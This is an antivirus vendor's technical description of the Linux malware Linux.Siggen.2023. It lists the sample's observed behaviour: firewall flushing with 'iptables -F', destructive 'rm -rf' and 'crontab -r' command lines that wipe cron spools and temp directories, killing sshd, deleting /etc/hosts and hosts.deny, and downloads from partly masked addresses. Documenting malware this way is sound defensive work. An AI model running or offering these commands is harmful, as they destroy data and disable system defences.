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Linux.Siggen.2023

Added to the Dr.Web virus database: 2019-07-23

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • -1
  • ttnfki
  • kkvs
  • java
Modifies firewall settings:
  • iptables -F
Launches processes:
  • sh -c rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; crontab -r ; > /dev/null 2>&1
  • rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs
  • sh -c chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; mkdir /tmp ; >/dev/null 2>&1
  • chattr -R -i /tmp/*
  • rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
  • sh -c iptables -F ; iptables-save >/dev/null 2>&1
  • sh -c /root/wjociy
  • /root/wjociy
  • iptables-save
  • sh -c chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /tmp/* ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; >/dev/null 2>&1
  • rm -rf /tmp/. /tmp/.. /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
  • rm -rf /tmp/*
  • sh -c /root/kkvs kkvs
  • /root/kkvs kkvs
  • sh -c /root/wgyxgi wgyx
  • /root/wgyxgi wgyx
Kills system processes:
  • sshd
Kills the following processes:
  • run.sh
  • bash
  • systemd
  • /bin/sh
  • /bin/rm
  • (sd-pam)
Performs operations with the file system:
Modifies file access rights:
  • /usr/bin/wget
  • /dev/urandom
  • /usr/bin/perl
  • /usr/bin/python3.4
  • /usr/bin/python2.7
  • /usr/bin/mawk
  • /usr/bin/xargs
  • /bin/sed
  • /usr/bin/crontab
  • /root/wjociy
  • /usr/bin/at
  • /usr/sbin/atd
  • /bin/nc.traditional
  • /etc/hosts
  • /etc/hosts.deny
  • /var/spool/cron
  • /root/kkvs
  • /root/wgyxgi
Deletes folders:
  • /var/spool/cron/atjobs
  • /var/spool/cron/atspool
  • /var/spool/cron/crontabs
  • /var/spool/cron/
Creates or modifies files:
  • /root/wjociy
  • /root/kkvs
  • /root/wgyxgi
  • /root/p
Deletes files:
  • /.SEQ
  • /usr/bin/at
  • /etc/ld.so.cache
  • /usr/sbin/atd
  • /bin/netcat
  • /etc/hosts
  • /etc/hosts.deny
  • /var/spool/cron/atjobs/.SEQ
  • /tmp/*
  • /root/wgyxgi
Network activity:
HTTP GET requests:
  • 18#.##5.169.6/jp/jj
  • 16#.##.69.25/j/fst
  • 16#.##.69.25/j/jrd

Curing recommendations


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